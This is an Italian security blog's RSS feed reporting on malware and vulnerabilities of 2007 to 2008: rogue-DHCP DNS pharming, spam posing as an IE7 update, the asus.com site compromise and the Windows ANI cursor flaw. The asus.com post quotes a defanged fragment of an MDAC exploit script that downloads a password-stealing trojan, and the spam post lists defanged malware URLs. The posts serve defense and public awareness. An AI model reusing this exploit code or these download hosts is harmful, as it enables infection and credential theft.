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	<title>Matteo Carli &#187; Windows</title>
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	<description>caffeina e passione</description>
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		<title>DNS Pharming con server DHCP</title>
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		<pubDate>Sat, 06 Dec 2008 16:28:12 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[dhcp]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[dns pharming]]></category>
		<category><![CDATA[rogue dhcp]]></category>
		<category><![CDATA[udp]]></category>

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		<description><![CDATA[Di malware della famiglia dei &#8220;DNSChanger&#8221; se ne sono visti parecchi negli ultimi tempi. DNSChanger per sistemi Mac, DNSChanger per router ADSL e DNSChanger per Windows. Fino ad ora però la tecnica utilizzata per ogni target era sempre differente. CSRF per i router, modifica del file hosts o del registro di Windows e della modifica [...]]]></description>
			<content:encoded><![CDATA[<p>Di malware della famiglia dei &#8220;DNSChanger&#8221; se ne sono visti parecchi negli ultimi tempi. DNSChanger per sistemi Mac, DNSChanger per router ADSL e DNSChanger per Windows.</p>
<p>Fino ad ora però la tecnica utilizzata per ogni target era sempre differente. CSRF per i router, modifica del file hosts o del registro di Windows e della modifica delle impostazioni di sistema per i Mac. Adesso è stata escogitata <strong>un nuovo modo completamente cross-platform</strong> utilizzando il protocollo <a href="http://en.wikipedia.org/wiki/Dhcp">DHCP</a>. Infatti un nuovo malware <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-120318-5914-99&amp;tabid=1">segnalato da Symantec</a> e <a href="http://isc.sans.org/diary.html?storyid=5434&amp;rss">ISC</a>, una volta installato su un sistema Windows, manda in esecuzione, sulla medesima macchina, un server DHCP non legittimo (detto anche <a href="http://en.wikipedia.org/wiki/Rogue_DHCP">rogue DHCP</a>) che di fatto si contrappone a quello già esistente, praticamente,  in tutte le LAN domestiche e aziendali. Di fatto questa cosa consente al &#8220;rogue DHCP&#8221; di far credere ai client che i server DNS da utilizzare siano quelli in possesso degli attaccanti. ISC a tal proposito segnala che i DNS utilizzati da questo ultimo attacco si trovano tra 85.255.112.0 e 85.255.127.255.</p>
<p>L&#8217;idea, sicuramente non nuova, ma mai utilizzata da un malware, sfrutta il fatto che il protocollo DHCP non prevede nessun metodo per verificare se la risposta arriva dal server DHCP legittimo o meno. Le richieste dei client girano sulla rete Ethernet in broadcast. In questo modo qualsiasi server DHCP presente sul dominio di broadcast sarà in grado di rispondere. Il primo, in ordine di tempo, che risponderà alle richieste dei client, sarà quello che verrà preso in considerazione.</p>
<p>Dopo questa premessa vorrei passare ai tool che risultano essere utili per scoprire &#8220;rogue DHCP&#8221; sulla LAN:</p>
<blockquote><p>TIME: 2008-12-06 15:17:50.200<br />
IP: 192.168.0.1 (XX:XX:XX:XX:XX:XX) &gt; 255.255.255.255 (ff:ff:ff:ff:ff:ff)<br />
OP: 2 (BOOTPREPLY)<br />
HTYPE: 1 (Ethernet)<br />
HLEN: 6<br />
HOPS: 0<br />
XID: a6e51638<br />
SECS: 0<br />
FLAGS: 0<br />
CIADDR: 0.0.0.0<br />
YIADDR: 192.168.0.101<br />
SIADDR: 0.0.0.0<br />
GIADDR: 0.0.0.0<br />
CHADDR: YY:YY:YY:YY:YY:YY:00:00:00:00:00:00:00:00:00:00<br />
SNAME: .<br />
FNAME: .<br />
OPTION:  53 (  1) DHCP message type         5 (DHCPACK)<br />
OPTION:  54 (  4) Server identifier         192.168.0.1<br />
OPTION:  51 (  4) IP address leasetime      86400 (24h)<br />
OPTION:   1 (  4) Subnet mask               255.255.255.0<br />
OPTION:   3 (  4) Routers                   192.168.0.1<br />
OPTION:   6 ( 12) DNS server                85.37.17.55,85.38.28.93<br />
OPTION:  15 ( 22) Domainname                domain_not_set.invalid</p></blockquote>
<p>(Sono stati sostituiti i mac del server con XX:XX:XX:XX:XX:XX e quello del client con YY:YY:YY:YY:YY:YY)</p>
<p>Questo è un esempio di un DHCPACK mandato da un server DHCP dopo le richieste del client. Come si può notare il server DHCP comunica Gateway e DNS.</p>
<p>Ho trovato alcuni tool interessanti per monitorare richieste e risposte DHCP su una LAN:</p>
<ul>
<li><a href="http://technet2.microsoft.com/WindowsServer/en/library/8fa42e83-ec08-4a9b-9057-8909f7ed433e1033.mspx">DHCPloc</a> (resurceKit di Windows)<a href="http://technet2.microsoft.com/WindowsServer/en/library/8fa42e83-ec08-4a9b-9057-8909f7ed433e1033.mspx"><br />
</a></li>
<li><a href="http://www.mavetju.org/unix/general.php">DHCPdump</a> (disponibile nei repository della maggiori distribuzioni Linux)</li>
</ul>
<p>Dove gli antivirus non arrivano, con qualche riga di script non è difficile gestire gli alert in caso siano rilevati server DHCP non legittimi.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		</item>
		<item>
		<title>Applicazioni installate e non aggiornate</title>
		<link>http://www.matteocarli.com/2008/01/applicazioni-installate-e-non-aggiornate.html</link>
		<comments>http://www.matteocarli.com/2008/01/applicazioni-installate-e-non-aggiornate.html#comments</comments>
		<pubDate>Tue, 08 Jan 2008 14:45:07 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Secondo Secunia, il 20% delle applicazioni installate su Windows non sono aggiornate. Facciamo un passo indietro. Secunia distribuisce gratuitamente un tool chiamato PSI il quale ricerca tutti i software che non sono aggiornati in termini di patch di sicurezza. Il rapporto dichiarato è basato su un campione di 14.500.000 applicazioni controllate nei PC degli utenti [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.matteocarli.com/files/2008/worms_war.jpg" title="Worms competition" alt="Worms competition" align="left" height="212" width="280" /></p>
<p><a href="http://secunia.com/blog/17/">Secondo Secunia</a>, <strong>il 20% delle applicazioni installate su Windows non sono aggiornate.</strong><br />
Facciamo un passo indietro. Secunia distribuisce gratuitamente un tool chiamato <a href="https://psi.secunia.com/">PSI</a> il quale ricerca tutti i software che non sono aggiornati in termini di patch di sicurezza.<br />
Il rapporto dichiarato è basato su un campione di 14.500.000 applicazioni controllate nei PC degli utenti che utilizzano PSI.</p>
<p>A conti fatti il un quinto di tutte le applicazioni installate ha almeno un problema di sicurezza. Quanti utenti utilizzano il PC per lavoro o per hobby? Quanti di questi conoscono Secunia o i problemi di sicurezza derivanti ad esempio da &#8220;<a href="http://en.wikipedia.org/wiki/Privilege_escalation">privilege escalation</a>&#8221; o &#8220;<a href="http://en.wikipedia.org/wiki/Exploit_(computer_security)#Classification">remote exploit</a>&#8220;?</p>
<p>Penso, purtroppo, che quel dato sia sottostimato altrimenti non mi so spiegare i livelli di successo di bot-net e worm. Si veda in proposito <a href="http://honeyblog.org/archives/156-Measuring-the-Success-Rate-of-Storm-Worm.html">il numero di PC infettati dal &#8220;Storm Worm&#8221; nelle vacanze natalizie</a> e l&#8217;ultimo <a href="http://www.symantec.com/business/theme.jsp?themeid=threatreport">report di Symantec</a> su bot-net e computer zombie.</p>
<p>Credo poco alle statistiche: molte volte sono volutamente alterate altre sono invece calcolate su un campione &#8220;contaminato&#8221; che ne altera involontariamente il significato.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		<item>
		<title>Buio e silenzio di Skype</title>
		<link>http://www.matteocarli.com/2007/08/buio-e-silenzio-di-skype.html</link>
		<comments>http://www.matteocarli.com/2007/08/buio-e-silenzio-di-skype.html#comments</comments>
		<pubDate>Sun, 26 Aug 2007 11:49:37 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Telefonia]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Non ne ho voluto parlarne subito per poter avere degli elementi in più. Ora forse è anche troppo tardi, ma si sa, il rientro dalle ferie è sempre difficile. Penso che in pochi non lo sappiano: dal 16 Agosto, per due giorni, c&#8217;è stato un black-out dei server di login di Skype che hanno comportato [...]]]></description>
			<content:encoded><![CDATA[<p>Non ne ho voluto parlarne subito per poter avere degli elementi in più. Ora forse è anche troppo tardi, ma si sa, il rientro dalle ferie è sempre difficile.<br />
Penso che in pochi non lo sappiano: dal 16 Agosto, <strong>per due giorni</strong>, c&#8217;è stato un black-out dei server di login di Skype che <strong>hanno comportato l&#8217;impossibilità di connettersi a milioni di utenti</strong>. Per la cronistoria c&#8217;è il <a href="http://heartbeat.skype.com/2007/08/problems_with_skype_login.html">primo avvertimento dato da skype</a>, <a href="http://heartbeat.skype.com/2007/08/update_at_midnight_gmt.html">il suo aggiornamento</a> e addirittura <a href="http://www.repubblica.it/2007/03/sezioni/scienza_e_tecnologia/skype-find/stop/stop.html">un articolo di Repubblica</a> arrivato con la dovuta calma.</p>
<p>Dal <a href="http://heartbeat.skype.com/2007/08/what_happened_on_august_16.html">comunicato ufficiale</a> (disponibile anche <a href="http://share.skype.com/sites/it/2007/08/che_cosa_e_accaduto_il_16_di_a.html">in italiano</a>) si apprende come:</p>
<blockquote><p>The disruption was triggered by a massive restart of our users’ computers across the globe within a very short timeframe as they re-booted after receiving a routine set of patches through Windows Update.</p></blockquote>
<blockquote><p>The high number of restarts affected Skype’s network resources. This caused a flood of log-in requests, which, combined with the lack of peer-to-peer network resources, prompted a chain reaction that had a critical impact.</p></blockquote>
<p>Questo è il grafico creato con l&#8217;aggregazione dei <a href="http://share.skype.com/stats_rss.xml">dati ufficiali rilasciati da Skype</a>: <a href="http://www.flickr.com/photos/matteocarli/1224120773/" title="Photo Sharing"><img src="http://farm2.static.flickr.com/1139/1224120773_821850e652.jpg" alt="Skype online-user on 16th August" height="264" width="500" /></a></p>
<p>Come si può vedere la discesa del numero di utenti connessi alla rete P2P (che forse non è così tanto P2P) è iniziata intorno <strong>alle 9:30AM (GMT) di Giovedì 16 Agosto.</strong><br />
<strong>Microsoft ha rilasciato le patch Martedì 14 Agosto</strong>, ben due giorni prima del down dei server di Skype. Mi verrebbe da pensare che essendo vicino a Ferragosto molti utenti (casalinghi per la maggior parte) abbiano installato le patch solamente il 16 Agosto scorso, ma dalle statistiche Skype <a href="http://www.flickr.com/photos/matteocarli/1224750169/">si vede come il 15 Agosto erano circa 700.000 gli utenti in meno</a> in confronto al giorno precedente. Ciò, secondo me, non può giustificare un calo improvviso di &#8220;supernodi&#8221; imputabile al riavvio dopo l&#8217;installazione delle patch. In più come fa notare <a href="http://blogs.securiteam.com/index.php/archives/983">un post su Security Team</a> solo una patch, tra quelle rilasciate da Microsoft, potrebbe richiedere il riavvio del sistema.</p>
<p><strong>Il 17 Agosto è comparso su un sito di sicurezza Russo</strong> (http://en.securitylab.ru/poc/extra/301419.php) <strong>un exploit</strong> che prometteva un DoS verso i server di Skype passando da riga di comando un numero di telefono arbitrario direttamente al client. Grazie anche all&#8217;<a href="http://www.ush.it/2007/08/18/why-the-skype-0day-exploit-is-a-fake/">ottima analisi di ascii</a> si è capito che tale codice non era altro che un fake.<br />
Ciò non significa che l&#8217;exploit non esista proprio, magari era stato rilasciato da qualcuno che ne aveva sentito parlare &#8220;nell&#8217;ambiente&#8221; ma che non ha avuto le capacità per riprodurlo.</p>
<p>Guarda caso, sempre <strong>il 17 Agosto, è stata rilasciata anche una nuova versione di Skype</strong>: <a href="https://developer.skype.com/WindowsSkype/ReleaseNotes#head-0b8ef5c08caff0c09ee3918fbab0a5de5056e841">3.5.0.214</a>.</p>
<p>Nel primo comunicato, Skype, ha ammesso che oltre ad essersi presentata una situazione particolare nella propria rete P2P, era emerso un bug finora non conosciuto:</p>
<blockquote><p>Normally Skype&#8217;s peer-to-peer network has an inbuilt ability to self-heal, however, this event revealed a previously unseen software bug within the network resource allocation algorithm which prevented the self-healing function from working quickly.</p></blockquote>
<p>Nel secondo comunicato è stato chiarito che è stata migliorata la resilienza del software stesso:</p>
<blockquote><p>The parameters of the P2P network have been tuned to be smarter about how similar situations should be handled. Once we found the algorithmic fix to ensure continued operation in the face of high numbers of client reboots, the efforts focused squarely on stabilising the P2P core.</p></blockquote>
<p>Ognuno tragga le proprie conclusioni, perchè dalle spiegazioni generiche che ha dato Skype, si capisce solo che non gradiscono la full-disclosure. Vedo che anche <a href="http://www.kill-9.it/blog/index.php/2007/08/17/il-silenzio-di-skype/">zen la pensa come me</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		</item>
		<item>
		<title>Net&amp;System Security 2007: analisi e vulnerabilità dei sistemi informatici</title>
		<link>http://www.matteocarli.com/2007/07/netsystem-security-2007-analisi-e-vulnerabilita-dei-sistemi-informatici.html</link>
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		<pubDate>Tue, 17 Jul 2007 08:25:14 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Eventi]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS]]></category>
		<category><![CDATA[Ricerche]]></category>
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		<description><![CDATA[@Systemgroup, una collaborazione tra @System e Bitflow, organizza il V Convegno Net&#38;System Security &#8211; analisi e vulnerabilità dei sistemi informatici. L&#8217;evento avrà luogo il 27 Novembre 2007 presso il Palazzo dei Congressi di Pisa, e vedrà la partecipazione di alcuni esperti e delle maggiori aziende leader del settore della sicurezza informatica. Nell&#8217;ambito del convegno si [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.atsystemgroup.org/"><img title="Net and System security" src="/files/2007/nss07-ita.png" alt="Net and System security" align="left" />@Systemgroup</a>, una collaborazione tra <a href="http://www.atsystem.org/">@System</a> e <a href="http://www.bitflow.it/"> Bitflow</a>, organizza il <a href="http://www.atsystemgroup.org/convegni/nss07">V Convegno Net&amp;System Security</a> &#8211; analisi e vulnerabilità dei sistemi informatici. <strong>L&#8217;evento avrà luogo il 27 Novembre 2007 presso il Palazzo dei Congressi di Pisa</strong>, e vedrà la partecipazione di alcuni esperti e delle maggiori aziende leader del settore della sicurezza informatica.</p>
<p>Nell&#8217;ambito del convegno si terra&#8217; la seconda edizione del <a href="http://www.atsystemgroup.org/convegni/nss07/call+for+paper"> Call For Paper</a>, per cui sono previste due categorie di partecipazione; &#8220;Professional&#8221; e &#8220;Student&#8221;.</p>
<p>Tutti i paper selezionati saranno inseriti negli atti del convegno ed avranno il valore di una pubblicazione scientifica. Inoltre, agli autori dei migliori elaborati sara&#8217; data la possibilità di presentarli durante l&#8217;evento.</p>
<p>Al vincitore di ogni categoria sarà assegnato il riconoscimento come &#8220;Best Paper Award&#8221;, e per l&#8217;autore dell&#8217;elaborato piu&#8217; meritevole della categoria &#8220;Student&#8221; è prevista l&#8217;assegnazione di un celluare Linux-Based <a href="http://www.openmoko.com/products-neo-advanced-00-develkit.html">&#8220;Neo1973 Advanced Edition&#8221;</a> .</p>
<p>La partecipazione al <span>CfP</span> è gratuita. Maggiori informazioni sono disponibili alla <a href="http://www.atsystemgroup.org/it/convegni/nss07/call+for+paper/regolamento">sezione dedicata</a> presente sulla pagina web del convegno.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		</item>
		<item>
		<title>Ancora spam e malware pubblicizzato come Internet Explorer 7</title>
		<link>http://www.matteocarli.com/2007/05/ancora-spam-e-malware-pubblicizzato-come-internet-explorer-7.html</link>
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		<pubDate>Tue, 08 May 2007 09:10:44 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Nelle ultime ore è stata rilevata una nuova variante delle e-mail di spam &#8220;Internet Explorer 7.0 Beta&#8221;. Tutte quante hanno un link verso un file eseguibile dal nome &#8220;update.exe&#8221; ospitato su diversi domini. Per ingannare i filtri anti-spam il testo, inserito nel corpo della mail, è stato racchiuso in tag HTML in modo che ad [...]]]></description>
			<content:encoded><![CDATA[<p>Nelle ultime ore è stata rilevata una nuova variante delle e-mail di spam &#8220;Internet Explorer 7.0 Beta&#8221;. Tutte quante hanno un link verso un file eseguibile dal nome &#8220;update.exe&#8221; ospitato su diversi domini.<br />
Per ingannare i filtri anti-spam il testo, inserito nel corpo della mail, è stato racchiuso in tag HTML in modo che ad un loro controllo risultasse una semplice conversazione tra amici e invece all&#8217;apertura dell&#8217;e-mail con un qualsiasi client di posta venisse visualizzato solamente il link al file eseguibile.</p>
<p>Questi gli header più significativi:</p>
<blockquote><p>From: &lt;admin@microsoft.com&gt;<br />
To:  xxxxx@xxxxxxxxx.xxx<br />
Subject: Internet Explorer 7.0 Beta</p></blockquote>
<p>Questi i domini, per ora individuati, che ospitano il file eseguibile:</p>
<blockquote>
<ul>
<li>httx://accentstaffing.com_/images/update.exe</li>
<li>httx://mikelike.cd_/update.exe</li>
<li>httx://xoozee.cd_/update.exe</li>
<li>httx://merzingo.cd_/update.exe</li>
<li>httx://endfriends.cd_/update.exe</li>
<li>httx://netdesks.cd_/update.exe</li>
<li>httx://pleasedostock.hk_/update.exe</li>
<li>httx://wordcasts.cd_/update.exe</li>
<li>httx://abyssrecycling.co.uk_/images/update.exe</li>
<li>httx://bcweblist.com_/images/update.exe</li>
<li>httx://actorsandactresses.co.uk_/images/update.exe</li>
</ul>
</blockquote>
<p>(httx e l&#8217;underscore dopo il TLD sono stati inseriti per sicurezza)</p>
<p>Il primo nella lista, almeno nelle e-mail che ho ricevuto io, è stato quello più utilizzato. Fortunatamente già molti dei domini nella lista sono stati ripuliti e il link al file eseguibile restituisce un errore HTTP 404.</p>
<p>Il consiglio è quello di bloccare i domini sopra riportati tramite il proprio gateway o proxy di rete, oppure in maniera più semplice aggiungere, sul proprio server mail, dei pattern per il riconoscimento delle e-mail provenienti da &#8220;admin@microsoft.com&#8221; con oggetto &#8220;Internet Explorer 7.0 Beta&#8221;.<br />
Per eventuali aggiornamenti rifarsi alla <a href="http://isc.sans.org/diary.html?storyid=2768">segnalazione dell&#8217;ISC</a>.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		</item>
		<item>
		<title>Compromesso un webserver di asus.com</title>
		<link>http://www.matteocarli.com/2007/04/compromesso-un-webserver-di-asuscom.html</link>
		<comments>http://www.matteocarli.com/2007/04/compromesso-un-webserver-di-asuscom.html#comments</comments>
		<pubDate>Sat, 07 Apr 2007 14:20:01 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Ieri, tramite il suo blog, Kaspersky ha segnalato la compromissione del sito asus.com. Stando a quanto detto da loro, il codice all&#8217;interno della pagina richiamata tramite un iframe inserito nella home page di asus.com sfrutterebbe il recente bug sui file ANI di Microsoft Windows. L&#8217;ISC ha fatto notare che Asus utilizza un round robin DNS [...]]]></description>
			<content:encoded><![CDATA[<p>Ieri, tramite il suo blog, <a href="http://www.viruslist.com/en/weblog?weblogid=208187358">Kaspersky ha segnalato la compromissione del sito asus.com</a>. Stando a quanto detto da loro, il codice all&#8217;interno della pagina richiamata tramite un iframe inserito nella home page di asus.com sfrutterebbe il recente <a href="http://www.matteocarli.com/2007/04/buffer-overflow-nelle-icone-animate-di-windows-vista-e-xp.html">bug sui file ANI di Microsoft Windows</a>.<br />
<a href="http://isc.sans.org/diary.html?storyid=2582&amp;rss">L&#8217;ISC ha fatto notare</a> che Asus utilizza un round robin DNS per i Webserver. Quello che nessuno ha detto è che l&#8217;unico server ad essere stato compromesso è stato 211.72.249.198, l&#8217;unico che raggiunto con www.asus.com presenta la pagina internazionale di Asus.</p>
<p><a href="http://www.flickr.com/photos/matteocarli/449405924/" title="Photo Sharing"><img src="http://farm1.static.flickr.com/191/449405924_ed56d851ac.jpg" title="Asus international" alt="Asus international" align="middle" height="317" width="500" /></a></p>
<p>Tutti gli altri server presentano la home page standard di Asus USA.<br />
Come già detto, i  cracker hanno utilizzato  un iframe per includere codice JavaScript e VBScript  malevolo, ma contrariamente a quanto detto da Kaspersky, <strong>esso non sfrutta il bug sui file ANI ma una vulnerabilità in Microsoft Data Access Components</strong> corretta con la patch <a href="http://www.microsoft.com/technet/security/bulletin/ms06-014.mspx">MS06-014</a>.<br />
Ecco come si presenta la parte compromessa della pagina di www.asus.com (click per ingrandire):<br />
<a href="http://www.flickr.com/photos/matteocarli/449405920/" title="Photo Sharing"><img src="http://farm1.static.flickr.com/171/449405920_3b892f7597.jpg" title="Compromised source of www.asus.com" alt="Compromised source of www.asus.com" align="middle" height="119" width="500" /></a></p>
<p>La pagina iniettata, ospitata su un Webserver cinese (indirizzo ip 222.73.247.123), contiene del codice JavaScript offuscato, il quale una volta decodificato crea un VBScript  appositamente scritto per sfruttare la vulnerabilità su RDS, ne riporto la parte più significativa (ho volutamente modificato http nell&#8217;url):<br />
<code>clID1  = "clsi"<br />
clID2  = "d:BD96C556-65A3-11D0-983A-00C04FC29E36"<br />
XML1 = "Mic"<br />
XML2 = "rosoft.XMLHTTP"<br />
AdoSqa1 = "Adodb.S"<br />
AdoSqa2 = "tream"<br />
oGet   = "GET"<br />
fname1 = "Tradue.com"<br />
SFO    = "Scripting.FileSystemObject"<br />
SApp   = "Shell.Application"<br />
dl     = "hxxp://www.ok8vs.com/app/ppapp/next3.png"<br />
Set df = document.createElement("object")</code><br />
<strong>L&#8217;immagine PNG richiamata è in realtà un Trojan eseguibile su piattaforme Windows </strong>(offuscato)<strong> </strong> (32bit x86) della <a href="http://www.viruslist.com/en/virusesdescribed?chapter=152540521#psw">famiglia PSW</a> i quali fungono da keylogger e &#8220;steal password&#8221;.</p>
<p>La cosa grave, a mio avviso, è che <strong>a due giorni dalla segnalazione Asus non ha ancora fatto niente per evitare l&#8217;infezione</strong> dei propri visitatori.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		<title>Buffer overflow nei cursori animati di Windows (Vista, XP, 2003 e 2000)</title>
		<link>http://www.matteocarli.com/2007/04/buffer-overflow-nelle-icone-animate-di-windows-vista-e-xp.html</link>
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		<pubDate>Mon, 02 Apr 2007 13:31:50 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[Microsoft sta affrontando quella che definirei una delle più serie vulnerabilità zero-day di Windows. L&#8217;exploit zero-day segnlato il 28 Marzo dal laboratorio di McAfee riguarda un buffer overflow nel gestore dei cursori animati di Windows (user32.dll), esso infatti non controllando l&#8217;header dei file &#8220;.ani&#8221; (animated) causa un bufferoverflow che pu essere usato per compromettere un [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.matteocarli.com/files/2007/04/animated_cursors.gif" alt="Windows animated cursor" title="Windows animated cursor" align="left" hspace="3" vspace="3" />Microsoft sta affrontando quella che definirei una delle più serie vulnerabilità zero-day di Windows.<br />
L&#8217;exploit zero-day segnlato il 28 Marzo dal laboratorio di McAfee riguarda un buffer overflow nel gestore dei cursori animati di Windows (user32.dll),  esso infatti non controllando l&#8217;header dei file &#8220;.ani&#8221; (animated) causa un bufferoverflow che pu essere usato per compromettere un sistema Windows.<br />
La paternità sulla scoperta del bug spetta a Determina, la quale già dallo scorso 20 Dicembre sta collaborando attivamente con Microsoft per risolvere il problema. Secondo quanto detto <a href="http://www.determina.com/security.research/vulnerabilities/ani-header.html">nell&#8217;advisory ufficiale</a> la <a href="http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx">patch rilasciata due anni fa da Microsoft</a>, dopo la <a href="http://research.eeye.com/html/advisories/published/AD20050111.html">segnalazione del bug da eEye</a>, il problema dei buffer overflow nell&#8217;header dei cursori animati non era stato completamente risolto.</p>
<p>La pericolosità di questo bug sta nel fatto che un file, di icone animate, creato ad arte può essere inserito in qualsiasi pagina Web o e-mail. Addirittura aprendo una cartella con un file &#8220;ani&#8221; creato ad arte, a causa del servizio anteprima di Windows, senza bisogno di aprire il file sarà possibile far crashare il processo &#8220;explorer&#8221;.</p>
<p>Tramite il <a href="http://www.microsoft.com/technet/security/advisory/935423.mspx">bollettino di Microsoft</a> si apprende che i vettori di attacco sono Internet Explorer, Outlook Express, Outlook e Windows Mail. Microsoft stessa consiglia di leggere le e-mail in modalità testo semplice (plain text) in Outlook 2002 e successivi e Windows Mail. Attenzione perchè con Windows Mail se si inoltra o si risponde ad una e-mail arrivata, anche se è attiva la modalità testo semplice, il problema non si risolve. Da notare inoltre che per qualsiasi versione di Outlook Express attualmente non esistono workaround.</p>
<p>Per ora Firefox sembra non essere interessato dal problema, anche se in teoria potrebbe esserlo in quanto gestisce i cursori animati tramite le API di Windows.</p>
<p>Benchè il bug sia molto recente <strong>sono moltissimi gli exploit pubblici</strong> e le varianti utilizzate da gruppi senza scrupolo. Come successo circa un mese fa, alcuni siti compromessi, sono utilizzati per veicolare versioni malevole di exploit sfruttanti la vulnerabilità sui cursori animati. L&#8217;ISC ha fornito <a href="http://isc.sans.org/diary.html?storyid=2540">una lista aggiornata dei domini utilizzati e una regola per Snort</a>, che blocca i file &#8220;ani&#8221;, sicuramente più efficace del blocco a livello DNS.</p>
<p>Microsoft <a href="http://blogs.technet.com/msrc/archive/2007/04/01/latest-on-security-update-for-microsoft-security-advisory-935423.aspx">ha fatto sapere</a> che rilascerà la patch ufficiale domani, 3 Aprile, vista la gravità del problema. La software house di Redmond ci tiene a sottolineare che la path al problema era già stata prevista, grazie alla collaborazione con Determina, per il 10 Aprile.</p>
<p>Esistono due patch non ufficiali per risolvere il bug in questione: una <a href="http://research.eeye.com/html/advisories/published/AD20050111.html">rilasciata da eEye</a>  e <a href="http://zert.isotf.org/advisories/zert-2007-01.htm">l&#8217;altra da ZIRT</a>. Attenzione però al falso senso di sicurezza, <strong>esiste un exploit pubblico che riesce a bypassare i controlli messi in pratica dalla patch di eEye</strong>.</p>
<p>In definitiva tutti i sistemi Microsoft Windows basati su NT sono vulnerabili: Windows 2000, Windows XP, Windows 2003 e Windows Vista.</p>
<p><strong>Update:</strong> come annunciato <a href="http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx">Microsoft ha pubblicato la patch</a>. Consiglio di installarla il prima possibile.</p>
<hr />
<p><small>© <a href="http://www.matteocarli.com">Matteo Carli</a> - <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/2.5/it/">Creative Commons 2.5 (by-nc-sa)</a></small></p>]]></content:encoded>
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		<title>Windows indicato come sistema operativo più sicuro</title>
		<link>http://www.matteocarli.com/2007/03/windows-indicato-come-sistema-operativo-piu-sicuro.html</link>
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		<pubDate>Mon, 26 Mar 2007 21:56:42 +0000</pubDate>
		<dc:creator>Matteo Carli</dc:creator>
				<category><![CDATA[(In)Sicurezza]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS]]></category>
		<category><![CDATA[Ricerche]]></category>
		<category><![CDATA[Windows]]></category>

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		<description><![CDATA[La notizia proviene dall&#8217;undicesimo Symantec Internet Security Threat Report. L&#8217;analisi rilasciata da Symantec prende in esame le vulnerabilità (inclusi quelli dei sistemi operativi) degli ultimi sei mesi del 2006. Durante questo periodo 39 vulnerabilità, 12 delle quali gravi, sono state scoperte in Microsoft Windows. Il tempo medio impiegato per il rilascio di patch, da parte [...]]]></description>
			<content:encoded><![CDATA[<p>La notizia proviene dall&#8217;<a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/ent-whitepaper_internet_security_threat_report_xi_03_2007.en-us.pdf">undicesimo Symantec Internet Security Threat Report</a>. L&#8217;analisi rilasciata da Symantec prende in esame le vulnerabilità (inclusi quelli dei sistemi operativi) degli ultimi sei mesi del 2006.<br />
Durante questo periodo 39 vulnerabilità, 12 delle quali gravi, sono state scoperte in Microsoft Windows. Il tempo medio impiegato per il rilascio di patch, da parte di Microsoft, è di 21 giorni. Nel primo semestre 2006 le vulnerabilità segnalate sono state 22 con 13 giorni medi per il rilascio delle patch.<br />
Al secondo posto della classifica si trova Red Hat Linux con 208 vulnerabilità, di cui 2 gravi e 58 giorni di media per il rilascio dei fix. Nella prima metà del 2006 il numero dei bug segnalati in RHL sono stati 42 con 13 giorni medi per il fix.<br />
<a href="http://www.internetnews.com/security/article.php/3667201">La classifica continua</a> con Mac OS X e HP-UX.</p>
<p>Sono sicuro che gli investimenti di Microsoft, fatti negli utlimi anni, abbiano contribuito a rendere più sicuri prodotti come Windows XP (SP2) e Windows Vista.<br />
